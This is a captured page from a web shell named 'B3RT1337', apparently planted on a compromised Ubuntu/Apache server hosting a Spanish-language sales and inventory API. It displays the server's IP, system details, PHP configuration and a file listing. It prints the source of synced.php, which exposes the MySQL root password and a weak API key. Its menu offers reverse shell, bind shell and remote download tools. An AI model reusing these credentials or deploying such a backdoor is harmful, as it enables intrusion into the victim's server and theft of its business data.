B3RT1337 - ADVANCED WEB SHELL

Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64
Apache/2.4.41 (Ubuntu)
74.208.127.88

synced.php

<?php
header('Content-Type: application/json');

// 🔹 Leer headers en minúsculas
$headers = array_change_key_case(getallheaders(), CASE_LOWER);
if (!isset($headers['x-api-key']) || $headers['x-api-key'] !== "12345") {
    http_response_code(403);
    echo json_encode(["ok"=>false,"msg"=>"Acceso denegado"]);
    exit;
}

// 🔹 Leer JSON de entrada
$input = json_decode(file_get_contents('php://input'), true);
if (!$input) {
    echo json_encode(["ok"=>false,"msg"=>"No se recibió JSON"]);
    exit;
}

$dbname = $input["dbname"] ?? null;
if (!$dbname) {
    echo json_encode(["ok"=>false,"msg"=>"Falta dbname"]);
    exit;
}

try {
    // 🔹 Conexión dinámica
    $pdo = new PDO("mysql:host=localhost;dbname=$dbname;charset=utf8", "root", "Hues198020");
    $pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);

$sale_id = $input["sale_id"];

// 🔹 Verificar duplicado (solo por sale_id)
    $chk = $pdo->prepare("SELECT COUNT(*) FROM t_sale WHERE sale_id=?");
    $chk->execute([$sale_id]);
    if ($chk->fetchColumn() > 0) {
        echo json_encode(["ok"=>false,"msg"=>"Venta ya existe en la nube (sale_id=$sale_id)"]);
        exit;
    }

// 🔹 Insertar cabecera
    $pdo->beginTransaction();

$stmt = $pdo->prepare("INSERT INTO t_sale 
        (sale_id,id_user,id_client,total,paid,discount,iva,is_credit,credit_amount,sale_date,box_id) 
        VALUES (?,?,?,?,?,?,?,?,?,?,?)");
    $stmt->execute([
        $sale_id,
        $input["id_user"],
        $input["id_client"],
        $input["total"],
        $input["paid"],
        $input["discount"],
        $input["iva"],
        $input["is_credit"],
        $input["credit_amount"],
        $input["sale_date"],
        $input["box_id"] ?? null // 👈 puede ser NULL hasta corte
    ]);

// 🔹 Insertar detalles
    $det = $pdo->prepare("INSERT INTO t_sale_detail 
        (sale_id,id_item,barcode,item_name,qty,unit,price) VALUES (?,?,?,?,?,?,?)");
    foreach ($input["detalles"] as $d) {
        $det->execute([
            $sale_id,
            $d["id_item"],
            $d["barcode"],
            $d["item_name"],
            $d["qty"],
            $d["unit"],
            $d["price"]
        ]);
    }

$pdo->commit();
    echo json_encode(["ok"=>true,"msg"=>"Venta registrada en $dbname"]);
} catch(Exception $e) {
    if ($pdo->inTransaction()) $pdo->rollBack();
    echo json_encode(["ok"=>false,"msg"=>$e->getMessage()]);
}

Cancel

Name	Type	Size	Owner/Group	Permission	Modified
.	dir	-	root/root	0775	2025-09-27 04:17
..	dir	-	root/root	0755	2025-10-24 15:04
clientes	dir	-	root/root	0775	2025-09-27 00:06
dumps	dir	-	root/root	0775	2025-09-22 23:02
micro	dir	-	root/root	0775	2025-09-27 04:17
create_company.php	text/x-php	5.58 KB	root/root	0644	2025-09-23 01:58
create_sale.php	text/x-php	5.92 KB	root/root	0644	2025-09-22 04:59
createsale.php	text/x-php	1.96 KB	root/root	0644	2025-09-17 01:54
db.php	text/x-php	2.24 KB	root/root	0644	2025-09-20 23:16
dba.php	text/x-php	1.26 KB	root/root	0644	2025-09-23 01:48
get_companies.php	text/x-php	498 B	root/root	0644	2025-09-23 02:18
get_inventory.php	text/x-php	652 B	root/root	0644	2025-09-22 18:00
index.php	text/html	1.79 KB	root/root	0644	2020-07-30 09:03
inventory_changes.php	text/x-php	3.39 KB	root/root	0644	2025-09-22 05:40
inventory_move.php	text/x-php	3.58 KB	root/root	0644	2025-09-22 05:31
inventory_move_confirm.php	text/x-php	3.24 KB	root/root	0644	2025-09-22 05:48
kpis.php	text/x-php	8.18 KB	root/root	0644	2025-09-20 23:49
login.php	text/x-php	1.44 KB	root/root	0644	2025-09-19 02:29
login2.php	text/x-php	1.44 KB	root/root	0644	2025-09-19 02:29
logout.php	text/x-php	411 B	root/root	0644	2025-09-19 02:27
me.php	text/x-php	966 B	root/root	0644	2025-09-19 02:26
products.php	text/x-php	1.96 KB	root/root	0644	2025-09-22 00:54
register.php	text/x-php	1.71 KB	root/root	0644	2025-09-19 02:23
register_abc.php	text/x-php	2.4 KB	root/root	0644	2025-09-22 22:09
register_user.php	text/x-php	1.6 KB	root/root	0644	2025-09-22 23:00
sales_today.php	text/x-php	4.43 KB	root/root	0644	2025-09-22 21:53
save_compra.php	text/x-php	2.24 KB	root/root	0644	2025-09-22 17:52
save_compraV2.php	text/x-php	2.51 KB	root/root	0644	2025-09-25 23:23
save_item.php	text/x-php	1.07 KB	root/root	0644	2025-09-22 15:43
save_itemV2.php	text/x-php	1.63 KB	root/root	0644	2025-09-25 22:57
synced.php	text/x-php	2.47 KB	root/root	0644	2025-09-17 02:09
update_item.php	text/x-php	1.85 KB	root/root	0644	2025-09-26 00:40

Database Connection

Reverse Shell

Bind Shell

Download from URL

Mass Downloader

System Information

Uname: Linux ubuntu 5.4.0-163-generic #180-Ubuntu SMP Tue Sep 5 13:21:23 UTC 2023 x86_64PHP Version: 7.4.3-4ubuntu2.29Server Software: Apache/2.4.41 (Ubuntu)Server Protocol: HTTP/1.1Server IP: 74.208.127.88Server Port: 443Current User: www-dataCurrent Directory: /var/www/html/apisaeDisabled Functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,

PHP Configuration

allow_url_fopen: 1
allow_url_include: 
disable_functions: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
open_basedir: 
safe_mode: 
memory_limit: 128M
max_execution_time: 0
upload_max_filesize: 2M
post_max_size: 8M

Loaded Extensions

Core, date, libxml, openssl, pcre, zlib, filter, hash, Reflection, SPL, session, standard, sodium, apache2handler, mysqlnd, PDO, xml, bz2, calendar, ctype, curl, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, iconv, json, exif, mysqli, pdo_mysql, Phar, posix, readline, shmop, SimpleXML, soap, sockets, sysvmsg, sysvsem, sysvshm, tokenizer, xmlreader, xmlwriter, xsl, zip, Zend OPcache